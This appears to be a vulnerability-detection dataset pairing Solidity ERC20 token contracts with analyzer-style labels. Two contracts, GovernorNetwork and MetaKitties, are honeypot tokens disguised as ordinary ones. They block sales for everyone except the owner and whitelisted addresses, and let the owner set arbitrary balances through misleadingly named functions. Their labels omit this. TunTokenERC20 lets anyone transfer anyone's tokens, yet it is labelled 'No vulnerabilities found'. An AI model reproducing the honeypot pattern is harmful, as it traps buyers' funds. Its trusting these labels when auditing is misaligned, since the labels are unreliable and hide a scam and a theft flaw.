require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GovernorNetwork {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.16;
contract TunTokenERC20 {
string public name="Tun Token";
string public symbol="TUK";
uint8 public decimals = 18;
uint256 public totalSupply=1000000000 * 10 ** uint256(decimals);
mapping (address => uint256) public balanceOf; //
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TunTokenERC20() public {
balanceOf[msg.sender] = totalSupply;
}
function transfer(address _from, address _to, uint _value) public {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | No vulnerabilities found |
/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
pragma solidity ^0.4.24;
//Safe Math Interface
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
//ERC Token Standard #20 Interface
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
//Contract function to receive approval and execute function in one call
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
//Actual token contract
contract IslamiToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "ISLAM";
name = "Islami Coin";
decimals = 6;
_totalSupply = 1000000000000000;
balances[0xe402aad0E2B2293039db15751bCE844D5dC0c241] = _totalSupply;
emit Transfer(address(0), 0xe402aad0E2B2293039db15751bCE844D5dC0c241, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2020-11-19
*/
//**OX's Staking platfrom
//**SPDX-License-Identifier: none
pragma solidity 0.7.1;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
//
//** ERC20 contract
//** Information
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
//** Token information
//** Supply, Decimal, Name, Symbol
contract OXS is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = "OXS";
name = "OXsign";
decimals = 10;
totalSupply = 210000000000000;
maxSupply = 210000000000000;
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-04-20
*/
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract IDOGE is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "INDICADOGE";
string constant tokenSymbol = "IDOGE";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 1000000000000 *10**18;
uint256 public basePercent = 100;
uint256 public _burnStopAmount;
uint256 public _lastTokenSupply;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
_burnStopAmount = 0;
_lastTokenSupply = 200000 * 10**18;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, to, tokensToTransfer);
emit Transfer(msg.sender, address(0), tokensToBurn);
return true;
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
uint256 tokensToBurn = findOnePercent(value);
uint256 tokensToTransfer = value.sub(tokensToBurn);
_balances[to] = _balances[to].add(tokensToTransfer);
_totalSupply = _totalSupply.sub(tokensToBurn);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
emit Transfer(from, address(0), tokensToBurn);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
/*
META KITTIES An ERC20 meme token that fosters and promotes healthy and widespread usage and decentralization of the project through a specific reward linked to users transactions involving decentralized wallets. At the same time, 2% of the total amount is burned from each transaction, which makes the project deflationary.
Meta KittiesSwap Decentralized exchange that features custom functionality and allows holders to trade among themselves and without any centralized point of failure any meme token (Doge, SHIB, Floki, BabyDoge) for another.
Kitties Pools With the help of these pools, our users can hold META KITTIES and receive passive income for this in the form of other meme tokens.
NFT Marketplace, where users can buy unique NFTs and earn real money with them in our games. The better and more unique the NFT, the higher your monthly income.
Wallet tracker where users can track their prizes and rewards out of META KITTIES usage, current token valuations, wallet balance, and more. This wallet is built into all our Marketplaces and games.
A merchandise store run by a ownerless, stockholderless non-profit organization to allow META KITTIES holders to support meme tokens fun in the real world, with any and all proceeds supporting the META KITTIES project growth, maintenance and future features. The founders of the project already at the start agreed with 4,000 merchants from Estonia and Germany.
Dog Games. Play dog farm or dog city. Our games use NFTs and meme tokens that you can earn. Moreover, the project is developing a whole metaverse for meme tokens.
Launchpad. Our users will be able to purchase startup meme tokens at the best prices. Each startup passes our audit and META KITTIES guarantees its users safety.
Meta KittiesSwap
Meta KittiesSwap Decentralized exchange that features custom functionality and allows holders to trade among themselves and without any centralized point of failure any meme token (Doge, SHIB, Floki, BabyDoge) for another.
Meme tokens have become the most popular in the cryptocurrency market. We decided to create the first thematic decentralized exchange for millions of meme token holders, as well as games in which they can earn these tokens, as well as unique gaming NFTs.
Cryptocurrency should be anonymous and accessible to everyone. You can not restrict the exchange, transactions, trade to any users. In 2022, we have witnessed how exchanges block the accounts of their users for political reasons. This is unacceptable in our industry. This goes against the idea of Bitcoin founder Satoshi Nakamoto.
META KITTIES aims to solve these problems. We are building a decentralized trading platform, Meta KittiesSwap, where only users own their assets. We are also creating a decentralized Marketplace, which is not affected by sanctions and political conflicts between states. If a citizen of any country cannot buy any goods for dollars or euros, then he can easily do this with the help of META KITTIES tokens.
NFTs have become very popular. We create NFTs with real-life applications in our games and our marketplace. Our users will be able to receive income in games, discounts in the marketplace. Receiving income from these NFTs, the MetaKittiesproject will be able to buy tokens from the market and actively develop it.
Welcome to the World of Kitties, where you can play, trade, farm and get unique NFTs
META KITTIES was created in February 2022 with the goal of being a decentralized and deflationary meme project with true purpose.
Our mission is to bring popular cryptocurrency concepts to the mainstream. Unlike older, comparable projects, META KITTIES introduces holders to next-gen concepts such as participation rewards, NFTs, decentralized exchanges, and more.
Meme tokens have become the most popular in the cryptocurrency market. We decided to create the first thematic decentralized exchange for millions of meme token holders, as well as games in which they can earn these tokens, as well as unique gaming NFTs.
The META KITTIES project includes:
META KITTIES An ERC20 meme token that fosters and promotes healthy and widespread usage and decentralization of the project through a specific reward linked to user’s transactions involving decentralized wallets. At the same time, 2% of the total amount is burned from each transaction, which makes the project deflationary.
Meta KittiesSwap Decentralized exchange that features custom functionality and allows holders to trade among themselves and without any centralized point of failure any meme token (Doge, SHIB, Floki, BabyDoge) for another.
Kitties Pools With the help of these pools, our users can hold META KITTIES and receive passive income for this in the form of other meme tokens.
NFT Marketplace, where users can buy unique NFTs and earn real money with them in our games. The better and more unique the NFT, the higher your monthly income.
Wallet tracker where users can track their prizes and rewards out of META KITTIES usage, current token valuations, wallet balance, and more. This wallet is built into all our Marketplaces and games.
A merchandise store run by a ownerless, stockholderless non-profit organization to allow META KITTIES holders to support meme tokens fun in the real world, with any and all proceeds supporting the META KITTIES project growth, maintenance and future features. The founders of the project already at the start agreed with 4,000 merchants from Estonia and Germany.
Dog Games. Play dog farm or dog city. Our games use NFTs and meme tokens that you can earn. Moreover, the project is developing a whole metaverse for meme tokens.
Launchpad. Our users will be able to purchase startup meme tokens at the best prices. Each startup passes our audit and META KITTIES guarantees its users safety.
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MetaKitties {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
// 'IRP' 'Investor PreSale Berechtigung' token contract
//
// Symbol : IRP
// Name : Investor PreSale Berechtigung
// Total supply: 100.000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// (c) Smart Contract Solution UG 2018
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ---------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
